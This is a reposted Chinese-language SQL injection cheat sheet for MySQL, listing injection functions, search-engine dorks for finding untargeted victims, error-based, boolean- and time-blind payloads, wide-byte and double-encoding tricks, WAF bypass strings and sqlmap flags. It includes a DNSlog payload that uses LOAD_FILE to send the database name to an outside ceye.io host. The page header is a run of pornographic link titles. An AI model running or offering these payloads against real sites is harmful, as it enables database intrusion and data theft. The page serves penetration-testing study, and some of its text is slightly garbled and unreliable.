日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sql注入常用函数

發布時間:2023/12/20 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入常用函数 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?當所有情緒都堆在一起的時候,才發現自己已經不是那個一塊糖就能開心的小孩子了。。。

----? 網易云熱評

一、MySql注入常用函數

1、system_user()系統用戶名

2、user()用戶名

3、current_user()當前用戶名

4、session_user()鏈接數據庫的用戶名

5、database()數據庫名

6、version()數據庫版本

7、@@datadir數據庫路徑

8、@@basedir數據庫安裝路徑

9、@@version_conpile_os操作系統

10、count()返回執行結果數量

11、concat()沒有分隔符的鏈接字符串

12、concat_ws()含有分隔符的連接字符串

13、group_concat()連接一個組的所有字符串,并以逗號分隔每一條數據

14、load_file()讀取本地文件

15、into outfile 寫文件

16、ascii()字符串的ASCII代碼值

17ord()返回字符串第一個字符的ASCII值

18mid()返回一個字符串的一部分

19substr()返回一個字符串的一部分

20、length()返回字符串的長度

21、left()返回字符串最左面幾個字符

22、floor()返回小于或等于x的最大整數

23、rand()返回0和1之間的一個隨機數

24、extractvalue()

第一個參數:XML_docment是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數:XPath_string(Xpath格式的字符串)

作用:從目標XML中返回包含所查詢值的字符串

25、updatexml()

第一個參數:XML_docment是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數:Xpath_string(Xpath格式的字符串)

第三個參數:new_value,String格式,替換查找到的符合條件的數據target.com

作用:改變文檔中符合條件的節點的值

26、sleep()讓此語句運行N秒鐘

27、if() SELECT IF(1>2,2,3) ; -->3

28、char()返回整數ASCII代碼字符組成的字符串

29、strcmp()比較字符串內容

30、ifnull() 假如參數1不為NULL,則返回值為參數1,否則其返回值為參數2

31exp()返回e的x次方

?

二、目標搜集

1、無特定目標:inurl:.php?id=

2、有特定目標:inurl:php?id= site:

3、工具爬取:spider,對搜索引擎和目標網站的鏈接進行爬取

?

三、注入識別

1、手工簡單識別:

'

and 1=1/and 1=2

and '1'='1/and '1'='2

and 1like 1/and 1like 2

2、工具識別:

sqlmap -m filename(filename中保存檢測目標)

sqlmap --crawl(sqlmap對目標網站進行爬取,然后一次進行測試)

3、高級識別

擴展識別廣度和深度:

SqlMap --level 增加測試級別,對header中相關參數也進行測試

sqlmap -r filename(filename中為網站請求數據)

利用工具識別提高效率

BurpSuite+Sqlmap

BurpSuite攔截所有瀏覽器訪問提交的數據

BurpSuite擴展插件,直接調用SqlMap進行測試一些Tips

可以在參數后鍵入"*"來確定想要測試的參數

可能出現的點:新聞、登錄、搜索、留言

站在開發的角度去尋找

?

四、報錯注入方法

1、floor() :select count(*) from information_schema.tables group by concat((select

2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj

3、group by會對rand()函數進行操作時產生錯誤

4、concat:連接字符串功能

5、floor:取float的整數值

6、rand:取0~1之間隨機浮點值

7、group by:根據一個或多個列對結果集進行分組并有排序功能

8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));

9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);

?

五、布爾盲注

1、left()函數

left(database(),1)>'s'

database()顯示數據庫名稱,le?(a,b)從左側截取a的前b位

2、regexp

select user() regexp'^r'

正則表達式的用法user()結果為root,regexp為匹配root的正則表達式

3、like

select user() like'^ro%'

與regexp類似,使用like進行匹配

4、substr()函數 ascii()函數

substr()函數 ascii(substr((select database()),1,1))<>98

substr(a,b,c)從b位置開始,截取字符串a的c長度,ascii()將某個字符轉換為ascii值

5、ord()函數 mid()函數

ord(mid((select user()),1,1))=114

mid(a,b,c)從位置b開始,截取a字符串的c位ord()函數同ascii(),將字符轉為ascii值

?

六、時間盲注

if(left(user(),1)='a',0,sleep(3));

?

七、DNSlog注入

SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));

?

八、寬字節注入

1、在注入點后鍵入%df,然后按照正常的諸如流程開始注入

2、黑盒測試:

在可能的注入點后鍵入%df,之后進行注入測試

3、白盒測試:

查看MySql編碼是否為GBK

是否使用preg_replace把單引號替換成\'

是否使用addslashes進行轉義

是否使用mysql_real_escape_string進行轉義

4、防止寬字節注入

使用utf-8,避免寬字節注入

ps:不僅在gbk,韓文、日文等等都是寬字節,都很有可能存在寬字節注入漏洞

mysql_real_escape_string,mysql_set_charset('gbk',$conn);

設置參數,character_set_client=binary

?

九、二次編碼

1、在注入點后鍵入%2527,然后按照正常的注入流程開始注入

2、黑盒測試:

在可能的注入點后鍵入%2527,之后進行注入測試

3、白盒測試

是否使用urldecode函數

urldecode函數是否存在轉義方法之后

?

十、二次注入

1、插入惡意數據

第一次進行數據庫插入數據的時候,僅僅對其中的特殊字符進行了轉義,再寫入數據庫的時候還是保留了原來的數據,但是數據本身包含惡意內容。

2、引用惡意數據

在將數據存入到數據庫之后,開發者就認為數據是可信的。在下一次需要進行查詢的時候,直接從數據庫中取出了而已數據,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。

3、二次注入防御:

對外部提交的數據,需要更加謹慎的對待。

程序內部的數據調用,也要嚴格的進行檢查,一旦不小心,測試者就能將特定了SQL語句帶入到查詢當中。

?

十一、WAF繞過

熟練掌握MySQL函數和語法使用方法+深入了解中間件運行處理機制+了解WAF防護原理及方法=隨心所欲的繞過WAF的保護

1、白盒繞過

使用了blacklist函數過濾了'or'和'AND'

大小寫變形:Or,OR,oR

等價替換:and->&&,or->||

2、黑盒繞過

尋找源站->針對云WAF

利用同網段->繞過WAF防護區域

利用邊界漏洞->繞過WAF防護區域

資源限制角度繞過WAF

POST大BODY

請求方式變換GET->POST

Content-Type變換:application/x-www-form-urlencoded;->multipart/form-data;

參數污染

SQL注釋符繞過

Level-1:union/**/select

Level-2:union/*aaaa%01bbs*/select

Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select

內聯注釋:/*!xxx*/

空白符繞過

MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/

正則的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-2:union%25A0select

concat%2520(

concat/**/(

concat%250c(http://127.0.0.1/Less/?id=1

concat%25a0(

浮點數詞法解析

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0union select 1,2,3

select * from users where id=\Nunion select 1,2,3

extractvalue(1.concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3))),1);

GeometryCollection((select*from(select@@version)f)x))

polygon((select*from(select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊語法

select{x table_name}from{x information_schema.tables};

3、Fuzz繞過

注釋符繞過

最基本的:union/**/select

中間引入特殊字:union/*aaa%0abbs*/select

最后測試注釋長度:union/*aaaaaaaaaaaaaaa*/select

最基本的模式:union/*something*/select

a1%!%2f

?

十二、sqlmap的conf

sqlmap.py -v3(主函數入口)

--user-agent=websecurity(請求擴充)

--threads=5(訪問優化)

-p id注入配置

--level 3(檢測配置)

--technique=E(注入技術)

--current-user(信息獲取)

--flush-session(通用設置)

--beep(雜項)幕布 - 極簡大綱筆記 | 一鍵生成思維導圖

?

?

禁止非法,后果自負

歡迎關注公眾號:web安全工具庫

?

總結

以上是生活随笔為你收集整理的sql注入常用函数的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。